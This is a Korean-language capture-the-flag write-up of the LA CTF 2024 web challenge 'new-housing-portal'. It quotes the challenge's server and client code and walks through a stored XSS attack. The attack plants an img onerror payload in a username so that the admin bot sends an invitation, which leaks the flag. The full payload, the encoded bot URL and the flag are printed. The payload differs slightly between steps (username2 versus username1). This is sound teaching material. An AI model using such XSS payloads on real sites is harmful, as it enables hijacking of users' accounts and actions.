[CTF Writeup / Web] LA CTF 2024 - new-housing-portal
[CTF Writeup / Web] LA CTF 2024 - new-housing-portal
안녕하세요. 이번 글에서는 LA CTF 2024에 출제된 Web 문제 new-housing-portal의 writeup을 작성해보도록 하겠습니다.
After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?
Hint - You can send a link that the admin bot will visit as samy.
Hint - Come watch the real Samy's talk if you are stuck!
문제 설명이고, Site URL과 Admin Bot URL, 문제 소스코드가 제공됩니다.
메인 페이지에 접근 시 로그인 및 회원가입 화면이 나옵니다.
회원가입을 하면 자동으로 로그인이 되며, Find Roomates와 View Invitations 메뉴가 있습니다.
Find Roomates는 username 검색을 통해 조회하는 서비스인데, 여기서 username을 <img src=x>로 가입해둔 사람이 있어서 <img src=x>을 검색 시 XSS 취약점이 발생합니다.
그리고 View Invitations 메뉴는 나를 초대한 사용자의 리스트가 출력됩니다.
1 2 3 4 5 6 7 8 | users.set('samy', { username: 'samy', name: 'Samy Kamkar', deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}', password: process.env.ADMINPW || 'owo', invitations: [], registration: Infinity }); | cs |
server.js
사용자 samy의 deepestDarkestSecret에 FLAG가 저장됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | const $ = q => document.querySelector(q); const $all = q => document.querySelectorAll(q); (async () => { const { invitations } = await fetch('/invitation').then(r => r.json()); $('.invitations').innerHTML = invitations.map((inv) => ` <div class="invitation"> <div class="col"> <div class="from">From: ${inv.from}</div> <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div> </div> <div class="col"> <button>Accept</button> </div> </div> `).join('\n'); $all('button').forEach((button) => { button.addEventListener('click', () => { alert('Sorry! The System is under load, cannot accept invite!'); }) }); })(); | cs |
request/index.js
그리고 그 값은 View Invitations 메뉴에서 조회할 수 있습니다.
즉, 다음과 같은 프로세스로 FLAG를 획득할 수 있습니다.
1. Username이 username2인 계정 생성
2. /finder/에 POST로 username=username2 데이터를 포함하여 요청하는 JavaScript 작성 (invite 요청 코드)
1 | fetch('https://new-housing-portal.chall.lac.tf/finder/',{method: 'POST',headers:{'Content-Type': 'application/x-www-form-urlencoded',},body: 'username=username2'}); | cs |
3. 2번에서 작성한 JavaScript를 포함하여 Username으로 하는 계정 생성
1 | Username : <img src=x onerror="fetch('https://new-housing-portal.chall.lac.tf/finder/',{method: 'POST',headers:{'Content-Type': 'application/x-www-form-urlencoded',},body: 'username=username2'});"> | cs |
4. Find Roomates 메뉴에서 해당 사용자 검색하는 URL 획득
https://new-housing-portal.chall.lac.tf/finder/?q=%3Cimg%20src%3Dx%20onerror%3D%22fetch(%27https%3A%2F%2Fnew-housing-portal.chall.lac.tf%2Ffinder%2F%27%2C%7Bmethod%3A%20%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%20%27application%2Fx-www-form-urlencoded%27%2C%7D%2Cbody%3A%20%27username%3Dusername1%27%7D)%3B%22%3E
5. Admin Bot에 4번 URL 입력
6. username1의 View Invitations 메뉴에서 FLAG 획득
lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}






댓글
댓글 쓰기